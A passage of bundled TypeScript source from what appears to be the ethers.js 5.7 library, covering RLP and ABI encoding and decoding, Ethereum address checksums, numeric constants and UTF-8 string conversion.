Uint8Array {\n let alignedLength = Math.ceil(length / this.wordSize) * this.wordSize;\n if (this._offset + alignedLength > this._data.length) {\n if (this.allowLoose && loose && this._offset + length <= this._data.length) {\n alignedLength = length;\n } else {\n logger.throwError(\"data out-of-bounds\", Logger.errors.BUFFER_OVERRUN, {\n length: this._data.length,\n offset: this._offset + alignedLength\n });\n }\n }\n return this._data.slice(this._offset, this._offset + alignedLength)\n }\n\n subReader(offset: number): Reader {\n return new Reader(this._data.slice(this._offset + offset), this.wordSize, this._coerceFunc, this.allowLoose);\n }\n\n readBytes(length: number, loose?: boolean): Uint8Array {\n let bytes = this._peekBytes(0, length, !!loose);\n this._offset += bytes.length;\n // @TODO: Make sure the length..end bytes are all 0?\n return bytes.slice(0, length);\n }\n\n readValue(): BigNumber {\n return BigNumber.from(this.readBytes(this.wordSize));\n }\n}\n", "\"use strict\";\n\nimport sha3 from \"js-sha3\";\n\nimport { arrayify, BytesLike } from \"@ethersproject/bytes\";\n\nexport function keccak256(data: BytesLike): string {\n return '0x' + sha3.keccak_256(arrayify(data));\n}\n", "\"use strict\";\n\n//See: https://github.com/ethereum/wiki/wiki/RLP\n\nimport { arrayify, BytesLike, hexlify, isBytesLike } from \"@ethersproject/bytes\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nfunction arrayifyInteger(value: number): Array {\n const result = [];\n while (value) {\n result.unshift(value & 0xff);\n value >>= 8;\n }\n return result;\n}\n\nfunction unarrayifyInteger(data: Uint8Array, offset: number, length: number): number {\n let result = 0;\n for (let i = 0; i < length; i++) {\n result = (result * 256) + data[offset + i];\n }\n return result;\n}\n\nfunction _encode(object: Array | string): Array {\n if (Array.isArray(object)) {\n let payload: Array = [];\n object.forEach(function(child) {\n payload = payload.concat(_encode(child));\n });\n\n if (payload.length <= 55) {\n payload.unshift(0xc0 + payload.length)\n return payload;\n }\n\n const length = arrayifyInteger(payload.length);\n length.unshift(0xf7 + length.length);\n\n return length.concat(payload);\n\n }\n\n if (!isBytesLike(object)) {\n logger.throwArgumentError(\"RLP object must be BytesLike\", \"object\", object);\n }\n\n const data: Array = Array.prototype.slice.call(arrayify(object));\n\n if (data.length === 1 && data[0] <= 0x7f) {\n return data;\n\n } else if (data.length <= 55) {\n data.unshift(0x80 + data.length);\n return data;\n }\n\n const length = arrayifyInteger(data.length);\n length.unshift(0xb7 + length.length);\n\n return length.concat(data);\n}\n\nexport function encode(object: any): string {\n return hexlify(_encode(object));\n}\n\ntype Decoded = {\n result: any;\n consumed: number;\n};\n\nfunction _decodeChildren(data: Uint8Array, offset: number, childOffset: number, length: number): Decoded {\n const result = [];\n\n while (childOffset < offset + 1 + length) {\n const decoded = _decode(data, childOffset);\n\n result.push(decoded.result);\n\n childOffset += decoded.consumed;\n if (childOffset > offset + 1 + length) {\n logger.throwError(\"child data too short\", Logger.errors.BUFFER_OVERRUN, { });\n }\n }\n\n return {consumed: (1 + length), result: result};\n}\n\n// returns { consumed: number, result: Object }\nfunction _decode(data: Uint8Array, offset: number): { consumed: number, result: any } {\n if (data.length === 0) {\n logger.throwError(\"data too short\", Logger.errors.BUFFER_OVERRUN, { });\n }\n\n // Array with extra length prefix\n if (data[offset] >= 0xf8) {\n const lengthLength = data[offset] - 0xf7;\n if (offset + 1 + lengthLength > data.length) {\n logger.throwError(\"data short segment too short\", Logger.errors.BUFFER_OVERRUN, { });\n }\n\n const length = unarrayifyInteger(data, offset + 1, lengthLength);\n if (offset + 1 + lengthLength + length > data.length) {\n logger.throwError(\"data long segment too short\", Logger.errors.BUFFER_OVERRUN, { });\n }\n\n return _decodeChildren(data, offset, offset + 1 + lengthLength, lengthLength + length);\n\n } else if (data[offset] >= 0xc0) {\n const length = data[offset] - 0xc0;\n if (offset + 1 + length > data.length) {\n logger.throwError(\"data array too short\", Logger.errors.BUFFER_OVERRUN, { });\n }\n\n return _decodeChildren(data, offset, offset + 1, length);\n\n } else if (data[offset] >= 0xb8) {\n const lengthLength = data[offset] - 0xb7;\n if (offset + 1 + lengthLength > data.length) {\n logger.throwError(\"data array too short\", Logger.errors.BUFFER_OVERRUN, { });\n }\n\n const length = unarrayifyInteger(data, offset + 1, lengthLength);\n if (offset + 1 + lengthLength + length > data.length) {\n logger.throwError(\"data array too short\", Logger.errors.BUFFER_OVERRUN, { });\n }\n\n const result = hexlify(data.slice(offset + 1 + lengthLength, offset + 1 + lengthLength + length));\n return { consumed: (1 + lengthLength + length), result: result }\n\n } else if (data[offset] >= 0x80) {\n const length = data[offset] - 0x80;\n if (offset + 1 + length > data.length) {\n logger.throwError(\"data too short\", Logger.errors.BUFFER_OVERRUN, { });\n }\n\n const result = hexlify(data.slice(offset + 1, offset + 1 + length));\n return { consumed: (1 + length), result: result }\n }\n return { consumed: 1, result: hexlify(data[offset]) };\n}\n\nexport function decode(data: BytesLike): any {\n const bytes = arrayify(data);\n const decoded = _decode(bytes, 0);\n if (decoded.consumed !== bytes.length) {\n logger.throwArgumentError(\"invalid rlp data\", \"data\", data);\n }\n return decoded.result;\n}\n\n", "export const version = \"rlp/5.7.0\";\n", "export const version = \"address/5.7.0\";\n", "\"use strict\";\n\nimport { arrayify, BytesLike, concat, hexDataLength, hexDataSlice, isHexString, stripZeros } from \"@ethersproject/bytes\";\nimport { BigNumber, BigNumberish, _base16To36, _base36To16 } from \"@ethersproject/bignumber\";\nimport { keccak256 } from \"@ethersproject/keccak256\";\nimport { encode } from \"@ethersproject/rlp\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nfunction getChecksumAddress(address: string): string {\n if (!isHexString(address, 20)) {\n logger.throwArgumentError(\"invalid address\", \"address\", address);\n }\n\n address = address.toLowerCase();\n\n const chars = address.substring(2).split(\"\");\n\n const expanded = new Uint8Array(40);\n for (let i = 0; i < 40; i++) {\n expanded[i] = chars[i].charCodeAt(0);\n }\n\n const hashed = arrayify(keccak256(expanded));\n\n for (let i = 0; i < 40; i += 2) {\n if ((hashed[i >> 1] >> 4) >= 8) {\n chars[i] = chars[i].toUpperCase();\n }\n if ((hashed[i >> 1] & 0x0f) >= 8) {\n chars[i + 1] = chars[i + 1].toUpperCase();\n }\n }\n\n return \"0x\" + chars.join(\"\");\n}\n\n// Shims for environments that are missing some required constants and functions\nconst MAX_SAFE_INTEGER: number = 0x1fffffffffffff;\n\nfunction log10(x: number): number {\n if (Math.log10) { return Math.log10(x); }\n return Math.log(x) / Math.LN10;\n}\n\n\n// See: https://en.wikipedia.org/wiki/International_Bank_Account_Number\n\n// Create lookup table\nconst ibanLookup: { [character: string]: string } = { };\nfor (let i = 0; i < 10; i++) { ibanLookup[String(i)] = String(i); }\nfor (let i = 0; i < 26; i++) { ibanLookup[String.fromCharCode(65 + i)] = String(10 + i); }\n\n// How many decimal digits can we process? (for 64-bit float, this is 15)\nconst safeDigits = Math.floor(log10(MAX_SAFE_INTEGER));\n\nfunction ibanChecksum(address: string): string {\n address = address.toUpperCase();\n address = address.substring(4) + address.substring(0, 2) + \"00\";\n\n let expanded = address.split(\"\").map((c) => { return ibanLookup[c]; }).join(\"\");\n\n // Javascript can handle integers safely up to 15 (decimal) digits\n while (expanded.length >= safeDigits){\n let block = expanded.substring(0, safeDigits);\n expanded = parseInt(block, 10) % 97 + expanded.substring(block.length);\n }\n\n let checksum = String(98 - (parseInt(expanded, 10) % 97));\n while (checksum.length < 2) { checksum = \"0\" + checksum; }\n\n return checksum;\n};\n\nexport function getAddress(address: string): string {\n let result = null;\n\n if (typeof(address) !== \"string\") {\n logger.throwArgumentError(\"invalid address\", \"address\", address);\n }\n\n if (address.match(/^(0x)?[0-9a-fA-F]{40}$/)) {\n\n // Missing the 0x prefix\n if (address.substring(0, 2) !== \"0x\") { address = \"0x\" + address; }\n\n result = getChecksumAddress(address);\n\n // It is a checksummed address with a bad checksum\n if (address.match(/([A-F].*[a-f])|([a-f].*[A-F])/) && result !== address) {\n logger.throwArgumentError(\"bad address checksum\", \"address\", address);\n }\n\n // Maybe ICAP? (we only support direct mode)\n } else if (address.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) {\n\n // It is an ICAP address with a bad checksum\n if (address.substring(2, 4) !== ibanChecksum(address)) {\n logger.throwArgumentError(\"bad icap checksum\", \"address\", address);\n }\n\n result = _base36To16(address.substring(4));\n while (result.length < 40) { result = \"0\" + result; }\n result = getChecksumAddress(\"0x\" + result);\n\n } else {\n logger.throwArgumentError(\"invalid address\", \"address\", address);\n }\n\n return result;\n}\n\nexport function isAddress(address: string): boolean {\n try {\n getAddress(address);\n return true;\n } catch (error) { }\n return false;\n}\n\nexport function getIcapAddress(address: string): string {\n let base36 = _base16To36(getAddress(address).substring(2)).toUpperCase();\n while (base36.length < 30) { base36 = \"0\" + base36; }\n return \"XE\" + ibanChecksum(\"XE00\" + base36) + base36;\n}\n\n// http://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed\nexport function getContractAddress(transaction: { from: string, nonce: BigNumberish }) {\n let from: string = null;\n try {\n from = getAddress(transaction.from);\n } catch (error) {\n logger.throwArgumentError(\"missing from address\", \"transaction\", transaction);\n }\n\n const nonce = stripZeros(arrayify(BigNumber.from(transaction.nonce).toHexString()));\n\n return getAddress(hexDataSlice(keccak256(encode([ from, nonce ])), 12));\n}\n\nexport function getCreate2Address(from: string, salt: BytesLike, initCodeHash: BytesLike): string {\n if (hexDataLength(salt) !== 32) {\n logger.throwArgumentError(\"salt must be 32 bytes\", \"salt\", salt);\n }\n if (hexDataLength(initCodeHash) !== 32) {\n logger.throwArgumentError(\"initCodeHash must be 32 bytes\", \"initCodeHash\", initCodeHash);\n }\n return getAddress(hexDataSlice(keccak256(concat([ \"0xff\", getAddress(from), salt, initCodeHash ])), 12))\n}\n", "\"use strict\";\n\nimport { getAddress } from \"@ethersproject/address\";\nimport { hexZeroPad } from \"@ethersproject/bytes\";\n\nimport { Coder, Reader, Writer } from \"./abstract-coder\";\n\nexport class AddressCoder extends Coder {\n\n constructor(localName: string) {\n super(\"address\", \"address\", localName, false);\n }\n\n defaultValue(): string {\n return \"0x0000000000000000000000000000000000000000\";\n }\n\n encode(writer: Writer, value: string): number {\n try {\n value = getAddress(value)\n } catch (error) {\n this._throwError(error.message, value);\n }\n return writer.writeValue(value);\n }\n\n decode(reader: Reader): any {\n return getAddress(hexZeroPad(reader.readValue().toHexString(), 20));\n }\n}\n\n", "\"use strict\";\n\nimport { Coder, Reader, Writer } from \"./abstract-coder\";\n\n// Clones the functionality of an existing Coder, but without a localName\nexport class AnonymousCoder extends Coder {\n private coder: Coder;\n\n constructor(coder: Coder) {\n super(coder.name, coder.type, undefined, coder.dynamic);\n this.coder = coder;\n }\n\n defaultValue(): any {\n return this.coder.defaultValue();\n }\n\n encode(writer: Writer, value: any): number {\n return this.coder.encode(writer, value);\n }\n\n decode(reader: Reader): any {\n return this.coder.decode(reader);\n }\n}\n", "\"use strict\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"../_version\";\nconst logger = new Logger(version);\n\nimport { Coder, Reader, Result, Writer } from \"./abstract-coder\";\nimport { AnonymousCoder } from \"./anonymous\";\n\nexport function pack(writer: Writer, coders: ReadonlyArray, values: Array | { [ name: string ]: any }): number {\n let arrayValues: Array = null;\n\n if (Array.isArray(values)) {\n arrayValues = values;\n\n } else if (values && typeof(values) === \"object\") {\n let unique: { [ name: string ]: boolean } = { };\n\n arrayValues = coders.map((coder) => {\n const name = coder.localName;\n if (!name) {\n logger.throwError(\"cannot encode object for signature with missing names\", Logger.errors.INVALID_ARGUMENT, {\n argument: \"values\",\n coder: coder,\n value: values\n });\n }\n\n if (unique[name]) {\n logger.throwError(\"cannot encode object for signature with duplicate names\", Logger.errors.INVALID_ARGUMENT, {\n argument: \"values\",\n coder: coder,\n value: values\n });\n }\n\n unique[name] = true;\n\n return values[name];\n });\n\n } else {\n logger.throwArgumentError(\"invalid tuple value\", \"tuple\", values);\n }\n\n if (coders.length !== arrayValues.length) {\n logger.throwArgumentError(\"types/value length mismatch\", \"tuple\", values);\n }\n\n let staticWriter = new Writer(writer.wordSize);\n let dynamicWriter = new Writer(writer.wordSize);\n\n let updateFuncs: Array<(baseOffset: number) => void> = [];\n coders.forEach((coder, index) => {\n let value = arrayValues[index];\n\n if (coder.dynamic) {\n // Get current dynamic offset (for the future pointer)\n let dynamicOffset = dynamicWriter.length;\n\n // Encode the dynamic value into the dynamicWriter\n coder.encode(dynamicWriter, value);\n\n // Prepare to populate the correct offset once we are done\n let updateFunc = staticWriter.writeUpdatableValue();\n updateFuncs.push((baseOffset: number) => {\n updateFunc(baseOffset + dynamicOffset);\n });\n\n } else {\n coder.encode(staticWriter, value);\n }\n });\n\n // Backfill all the dynamic offsets, now that we know the static length\n updateFuncs.forEach((func) => { func(staticWriter.length); });\n\n let length = writer.appendWriter(staticWriter);\n length += writer.appendWriter(dynamicWriter);\n return length;\n}\n\nexport function unpack(reader: Reader, coders: Array): Result {\n let values: any = [];\n\n // A reader anchored to this base\n let baseReader = reader.subReader(0);\n\n coders.forEach((coder) => {\n let value: any = null;\n\n if (coder.dynamic) {\n let offset = reader.readValue();\n let offsetReader = baseReader.subReader(offset.toNumber());\n try {\n value = coder.decode(offsetReader);\n } catch (error) {\n // Cannot recover from this\n if (error.code === Logger.errors.BUFFER_OVERRUN) { throw error; }\n value = error;\n value.baseType = coder.name;\n value.name = coder.localName;\n value.type = coder.type;\n }\n\n } else {\n try {\n value = coder.decode(reader);\n } catch (error) {\n // Cannot recover from this\n if (error.code === Logger.errors.BUFFER_OVERRUN) { throw error; }\n value = error;\n value.baseType = coder.name;\n value.name = coder.localName;\n value.type = coder.type;\n }\n }\n\n if (value != undefined) {\n values.push(value);\n }\n });\n\n // We only output named properties for uniquely named coders\n const uniqueNames = coders.reduce((accum, coder) => {\n const name = coder.localName;\n if (name) {\n if (!accum[name]) { accum[name] = 0; }\n accum[name]++;\n }\n return accum;\n }, <{ [ name: string ]: number }>{ });\n\n // Add any named parameters (i.e. tuples)\n coders.forEach((coder: Coder, index: number) => {\n let name = coder.localName;\n if (!name || uniqueNames[name] !== 1) { return; }\n\n if (name === \"length\") { name = \"_length\"; }\n\n if (values[name] != null) { return; }\n\n const value = values[index];\n\n if (value instanceof Error) {\n Object.defineProperty(values, name, {\n enumerable: true,\n get: () => { throw value; }\n });\n } else {\n values[name] = value;\n }\n });\n\n for (let i = 0; i < values.length; i++) {\n const value = values[i];\n if (value instanceof Error) {\n Object.defineProperty(values, i, {\n enumerable: true,\n get: () => { throw value; }\n });\n }\n }\n\n return Object.freeze(values);\n}\n\n\nexport class ArrayCoder extends Coder {\n readonly coder: Coder;\n readonly length: number;\n\n constructor(coder: Coder, length: number, localName: string) {\n const type = (coder.type + \"[\" + (length >= 0 ? length: \"\") + \"]\");\n const dynamic = (length === -1 || coder.dynamic);\n super(\"array\", type, localName, dynamic);\n\n this.coder = coder;\n this.length = length;\n }\n\n defaultValue(): Array {\n // Verifies the child coder is valid (even if the array is dynamic or 0-length)\n const defaultChild = this.coder.defaultValue();\n\n const result: Array = [];\n for (let i = 0; i < this.length; i++) {\n result.push(defaultChild);\n }\n return result;\n }\n\n encode(writer: Writer, value: Array): number {\n if (!Array.isArray(value)) {\n this._throwError(\"expected array value\", value);\n }\n\n let count = this.length;\n\n if (count === -1) {\n count = value.length;\n writer.writeValue(value.length);\n }\n\n logger.checkArgumentCount(value.length, count, \"coder array\" + (this.localName? (\" \"+ this.localName): \"\"));\n\n let coders = [];\n for (let i = 0; i < value.length; i++) { coders.push(this.coder); }\n\n return pack(writer, coders, value);\n }\n\n decode(reader: Reader): any {\n let count = this.length;\n if (count === -1) {\n count = reader.readValue().toNumber();\n\n // Check that there is *roughly* enough data to ensure\n // stray random data is not being read as a length. Each\n // slot requires at least 32 bytes for their value (or 32\n // bytes as a link to the data). This could use a much\n // tighter bound, but we are erroring on the side of safety.\n if (count * 32 > reader._data.length) {\n logger.throwError(\"insufficient data length\", Logger.errors.BUFFER_OVERRUN, {\n length: reader._data.length,\n count: count\n });\n }\n }\n let coders = [];\n for (let i = 0; i < count; i++) { coders.push(new AnonymousCoder(this.coder)); }\n\n return reader.coerce(this.name, unpack(reader, coders));\n }\n}\n\n", "\"use strict\";\n\nimport { Coder, Reader, Writer } from \"./abstract-coder\";\n\nexport class BooleanCoder extends Coder {\n\n constructor(localName: string) {\n super(\"bool\", \"bool\", localName, false);\n }\n\n defaultValue(): boolean {\n return false;\n }\n\n encode(writer: Writer, value: boolean): number {\n return writer.writeValue(value ? 1: 0);\n }\n\n decode(reader: Reader): any {\n return reader.coerce(this.type, !reader.readValue().isZero());\n }\n}\n\n", "\"use strict\";\n\nimport { arrayify, hexlify } from \"@ethersproject/bytes\";\n\nimport { Coder, Reader, Writer } from \"./abstract-coder\";\n\nexport class DynamicBytesCoder extends Coder {\n constructor(type: string, localName: string) {\n super(type, type, localName, true);\n }\n\n defaultValue(): string {\n return \"0x\";\n }\n\n encode(writer: Writer, value: any): number {\n value = arrayify(value);\n let length = writer.writeValue(value.length);\n length += writer.writeBytes(value);\n return length;\n }\n\n decode(reader: Reader): any {\n return reader.readBytes(reader.readValue().toNumber(), true);\n }\n}\n\nexport class BytesCoder extends DynamicBytesCoder {\n constructor(localName: string) {\n super(\"bytes\", localName);\n }\n\n decode(reader: Reader): any {\n return reader.coerce(this.name, hexlify(super.decode(reader)));\n }\n}\n\n\n", "\"use strict\";\n\nimport { arrayify, BytesLike, hexlify } from \"@ethersproject/bytes\";\n\nimport { Coder, Reader, Writer } from \"./abstract-coder\";\n\n// @TODO: Merge this with bytes\nexport class FixedBytesCoder extends Coder {\n readonly size: number;\n\n constructor(size: number, localName: string) {\n let name = \"bytes\" + String(size);\n super(name, name, localName, false);\n this.size = size;\n }\n\n defaultValue(): string {\n return (\"0x0000000000000000000000000000000000000000000000000000000000000000\").substring(0, 2 + this.size * 2);\n }\n\n encode(writer: Writer, value: BytesLike): number {\n let data = arrayify(value);\n if (data.length !== this.size) { this._throwError(\"incorrect data length\", value); }\n return writer.writeBytes(data);\n }\n\n decode(reader: Reader): any {\n return reader.coerce(this.name, hexlify(reader.readBytes(this.size)));\n }\n}\n", "\"use strict\";\n\nimport { Coder, Reader, Writer } from \"./abstract-coder\";\n\nexport class NullCoder extends Coder {\n\n constructor(localName: string) {\n super(\"null\", \"\", localName, false);\n }\n\n defaultValue(): null {\n return null;\n }\n\n encode(writer: Writer, value: any): number {\n if (value != null) { this._throwError(\"not null\", value); }\n return writer.writeBytes([ ]);\n }\n\n decode(reader: Reader): any {\n reader.readBytes(0);\n return reader.coerce(this.name, null);\n }\n}\n", "\"use strict\";\n\nexport { AddressZero } from \"./addresses\";\nexport {\n NegativeOne,\n Zero,\n One,\n Two,\n WeiPerEther,\n MaxUint256,\n MinInt256,\n MaxInt256\n} from \"./bignumbers\";\nexport { HashZero } from \"./hashes\";\nexport { EtherSymbol } from \"./strings\";\n\n", "export const AddressZero = \"0x0000000000000000000000000000000000000000\";\n\n", "import { BigNumber } from \"@ethersproject/bignumber\";\n\nconst NegativeOne: BigNumber = (/*#__PURE__*/BigNumber.from(-1));\nconst Zero: BigNumber = (/*#__PURE__*/BigNumber.from(0));\nconst One: BigNumber = (/*#__PURE__*/BigNumber.from(1));\nconst Two: BigNumber = (/*#__PURE__*/BigNumber.from(2));\nconst WeiPerEther: BigNumber = (/*#__PURE__*/BigNumber.from(\"1000000000000000000\"));\nconst MaxUint256: BigNumber = (/*#__PURE__*/BigNumber.from(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"));\n\nconst MinInt256: BigNumber = (/*#__PURE__*/BigNumber.from(\"-0x8000000000000000000000000000000000000000000000000000000000000000\"));\nconst MaxInt256: BigNumber = (/*#__PURE__*/BigNumber.from(\"0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"));\n\nexport {\n NegativeOne,\n Zero,\n One,\n Two,\n WeiPerEther,\n MaxUint256,\n MinInt256,\n MaxInt256,\n};\n", "export const HashZero = \"0x0000000000000000000000000000000000000000000000000000000000000000\";\n\n", "// NFKC (composed) // (decomposed)\nexport const EtherSymbol = \"\\u039e\"; // \"\\uD835\\uDF63\";\n", "\"use strict\";\n\nimport { BigNumber, BigNumberish } from \"@ethersproject/bignumber\";\nimport { MaxUint256, NegativeOne, One, Zero } from \"@ethersproject/constants\";\n\nimport { Coder, Reader, Writer } from \"./abstract-coder\";\n\nexport class NumberCoder extends Coder {\n readonly size: number;\n readonly signed: boolean;\n\n constructor(size: number, signed: boolean, localName: string) {\n const name = ((signed ? \"int\": \"uint\") + (size * 8));\n super(name, name, localName, false);\n\n this.size = size;\n this.signed = signed;\n }\n\n defaultValue(): number {\n return 0;\n }\n\n encode(writer: Writer, value: BigNumberish): number {\n let v = BigNumber.from(value);\n\n // Check bounds are safe for encoding\n let maxUintValue = MaxUint256.mask(writer.wordSize * 8);\n if (this.signed) {\n let bounds = maxUintValue.mask(this.size * 8 - 1);\n if (v.gt(bounds) || v.lt(bounds.add(One).mul(NegativeOne))) {\n this._throwError(\"value out-of-bounds\", value);\n }\n } else if (v.lt(Zero) || v.gt(maxUintValue.mask(this.size * 8))) {\n this._throwError(\"value out-of-bounds\", value);\n }\n\n v = v.toTwos(this.size * 8).mask(this.size * 8);\n\n if (this.signed) {\n v = v.fromTwos(this.size * 8).toTwos(8 * writer.wordSize);\n }\n\n return writer.writeValue(v);\n }\n\n decode(reader: Reader): any {\n let value = reader.readValue().mask(this.size * 8);\n\n if (this.signed) {\n value = value.fromTwos(this.size * 8);\n }\n\n return reader.coerce(this.name, value);\n }\n}\n\n", "export const version = \"strings/5.7.0\";\n", "\"use strict\";\n\nimport { arrayify, BytesLike } from \"@ethersproject/bytes\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\n///////////////////////////////\n\nexport enum UnicodeNormalizationForm {\n current = \"\",\n NFC = \"NFC\",\n NFD = \"NFD\",\n NFKC = \"NFKC\",\n NFKD = \"NFKD\"\n};\n\nexport enum Utf8ErrorReason {\n // A continuation byte was present where there was nothing to continue\n // - offset = the index the codepoint began in\n UNEXPECTED_CONTINUE = \"unexpected continuation byte\",\n\n // An invalid (non-continuation) byte to start a UTF-8 codepoint was found\n // - offset = the index the codepoint began in\n BAD_PREFIX = \"bad codepoint prefix\",\n\n // The string is too short to process the expected codepoint\n // - offset = the index the codepoint began in\n OVERRUN = \"string overrun\",\n\n // A missing continuation byte was expected but not found\n // - offset = the index the continuation byte was expected at\n MISSING_CONTINUE = \"missing continuation byte\",\n\n // The computed code point is outside the range for UTF-8\n // - offset = start of this codepoint\n // - badCodepoint = the computed codepoint; outside the UTF-8 range\n OUT_OF_RANGE = \"out of UTF-8 range\",\n\n // UTF-8 strings may not contain UTF-16 surrogate pairs\n // - offset = start of this codepoint\n // - badCodepoint = the computed codepoint; inside the UTF-16 surrogate range\n UTF16_SURROGATE = \"UTF-16 surrogate\",\n\n // The string is an overlong representation\n // - offset = start of this codepoint\n // - badCodepoint = the computed codepoint; already bounds checked\n OVERLONG = \"overlong representation\",\n};\n\n\nexport type Utf8ErrorFunc = (reason: Utf8ErrorReason, offset: number, bytes: ArrayLike, output: Array, badCodepoint?: number) => number;\n\nfunction errorFunc(reason: Utf8ErrorReason, offset: number, bytes: ArrayLike, output: Array, badCodepoint?: number): number {\n return logger.throwArgumentError(`invalid codepoint at offset ${ offset }; ${ reason }`, \"bytes\", bytes);\n}\n\nfunction ignoreFunc(reason: Utf8ErrorReason, offset: number, bytes: ArrayLike, output: Array, badCodepoint?: number): number {\n\n // If there is an invalid prefix (including stray continuation), skip any additional continuation bytes\n if (reason === Utf8ErrorReason.BAD_PREFIX || reason === Utf8ErrorReason.UNEXPECTED_CONTINUE) {\n let i = 0;\n for (let o = offset + 1; o < bytes.length; o++) {\n if (bytes[o] >> 6 !== 0x02) { break; }\n i++;\n }\n return i;\n }\n\n // This byte runs us past the end of the string, so just jump to the end\n // (but the first byte was read already read and therefore skipped)\n if (reason === Utf8ErrorReason.OVERRUN) {\n return bytes.length - offset - 1;\n }\n\n // Nothing to skip\n return 0;\n}\n\nfunction replaceFunc(reason: Utf8ErrorReason, offset: number, bytes: ArrayLike, output: Array, badCodepoint?: number): number {\n\n // Overlong representations are otherwise \"valid\" code points; just non-deistingtished\n if (reason === Utf8ErrorReason.OVERLONG) {\n output.push(badCodepoint);\n return 0;\n }\n\n // Put the replacement character into the output\n output.push(0xfffd);\n\n // Otherwise, process as if ignoring errors\n return ignoreFunc(reason, offset, bytes, output, badCodepoint);\n}\n\n// Common error handing strategies\nexport const Utf8ErrorFuncs: { [ name: string ]: Utf8ErrorFunc } = Object.freeze({\n error: errorFunc,\n ignore: ignoreFunc,\n replace: replaceFunc\n});\n\n// http://stackoverflow.com/questions/13356493/decode-utf-8-with-javascript#13691499\nfunction getUtf8CodePoints(bytes: BytesLike, onError?: Utf8ErrorFunc): Array {\n if (onError == null) { onError = Utf8ErrorFuncs.error; }\n\n bytes = arrayify(bytes);\n\n const result: Array = [];\n let i = 0;\n\n // Invalid bytes are ignored\n while(i < bytes.length) {\n\n const c = bytes[i++];\n\n // 0xxx xxxx\n if (c >> 7 === 0) {\n result.push(c);\n continue;\n }\n\n // Multibyte; how many bytes left for this character?\n let extraLength = null;\n let overlongMask = null;\n\n // 110x xxxx 10xx xxxx\n if ((c & 0xe0) === 0xc0) {\n extraLength = 1;\n overlongMask = 0x7f;\n\n // 1110 xxxx 10xx xxxx 10xx xxxx\n } else if ((c & 0xf0) === 0xe0) {\n extraLength = 2;\n overlongMask = 0x7ff;\n\n // 1111 0xxx 10xx xxxx 10xx xxxx 10xx xxxx\n } else if ((c & 0xf8) === 0xf0) {\n extraLength = 3;\n overlongMask = 0xffff;\n\n } else {\n if ((c & 0xc0) === 0x80) {\n i += onError(Utf8ErrorReason.UNEXPECTED_CONTINUE, i - 1, bytes, result);\n } else {\n i += onError(Utf8ErrorReason.BAD_PREFIX, i - 1, bytes, result);\n }\n continue;\n }\n\n // Do we have enough bytes in our data?\n if (i - 1 + extraLength >= bytes.length) {\n i += onError(Utf8ErrorReason.OVERRUN, i - 1, bytes, result);\n continue;\n }\n\n // Remove the length prefix from the char\n let res = c & ((1 << (8 - extraLength - 1)) - 1);\n\n for (let j = 0; j < extraLength; j++) {\n let nextChar = bytes[i];\n\n // Invalid continuation byte\n if ((nextChar & 0xc0) != 0x80) {\n i += onError(Utf8ErrorReason.MISSING_CONTINUE, i, bytes, result);\n res = null;\n break;\n };\n\n res = (res << 6) | (nextChar & 0x3f);\n i++;\n }\n\n // See above loop for invalid continuation byte\n if (res === null) { continue; }\n\n // Maximum code point\n if (res > 0x10ffff) {\n i += onError(Utf8ErrorReason.OUT_OF_RANGE, i - 1 - extraLength, bytes, result, res);\n continue;\n }\n\n // Reserved for UTF-16 surrogate halves\n if (res >= 0xd800 && res <= 0xdfff) {\n i += onError(Utf8ErrorReason.UTF16_SURROGATE, i - 1 - extraLength, bytes, result, res);\n continue;\n }\n\n // Check for overlong sequences (more bytes than needed)\n if (res <= overlongMask) {\n i += onError(Utf8ErrorReason.OVERLONG, i - 1 - extraLength, bytes, result, res);\n continue;\n }\n\n result.push(res);\n }\n\n return result;\n}\n\n// http://stackoverflow.com/questions/18729405/how-to-convert-utf8-string-to-byte-array\nexport function toUtf8Bytes(str: string, form: UnicodeNormalizationForm = UnicodeNormalizationForm.current): Uint8Array {\n\n if (form != UnicodeNormalizationForm.current) {\n logger.checkNormalize();\n str = str.normalize(form);\n }\n\n let result = [];\n for (let i = 0; i < str.length; i++) {\n const c = str.charCodeAt(i);\n\n if (c < 0x80) {\n result.push(c);\n\n } else if (c < 0x800) {\n result.push((c >> 6) | 0xc0);\n result.push((c & 0x3f) | 0x80);\n\n } else if ((c & 0xfc00) == 0xd800) {\n i++;\n const c2 = str.charCodeAt(i);\n\n if (i >= str.length || (c2 & 0xfc00) !== 0xdc00) {\n throw new Error(\"invalid utf-8 string\");\n }\n\n // Surrogate Pair\n const pair = 0x10000 + ((c & 0x03ff) << 10) + (c2 & 0x03ff);\n result.push((pair >> 18) | 0xf0);\n result.push(((pair >> 12) & 0x3f) | 0x80);\n result.push(((pair >> 6) & 0x3f) | 0x80);\n result.push((pair & 0x3f) | 0x80);\n\n } else {\n result.push((c >> 12) | 0xe0);\n result.push(((c >> 6) & 0x3f) | 0x80);\n result.push((c & 0x3f) | 0x80);\n }\n }\n\n return arrayify(result);\n};\n\nfunction escapeChar(value: number) {\n const hex = (\"0000\" + value.toString(16));\n return \"\\\\u\" + hex.substring(hex.length - 4);\n}\n\nexport function _toEscapedUtf8String(bytes: BytesLike, onError?: Utf8ErrorFunc): string {\n return '\"' + getUtf8CodePoints(bytes, onError).map((codePoint) => {\n if (codePoint < 256) {\n switch (codePoint) {\n case 8: return \"\\\\b\";\n case 9: return \"\\\\t\";\n case 10: return \"\\\\n\"\n case 13: return \"\\\\r\";\n case 34: return \"\\\\\\\"\";\n case 92: return \"\\\\\\\\\";\n }\n\n if (codePoint >= 32 && codePoint < 127) {\n return String.fromCharCode(codePoint);\n }\n }\n\n if (codePoint <= 0xffff) {\n return escapeChar(codePoint);\n }\n\n codePoint -= 0x10000;\n return escapeChar(((codePoint >> 10) & 0x3ff) + 0xd800) + escapeChar((codePoint & 0x3ff) + 0xdc00);\n }).join(\"\") + '\"';\n}\n\nexport function _toUtf8String(codePoints: Array): string {\n return codePoints.map((codePoint) => {\n if (codePoint <= 0xffff) {\n return 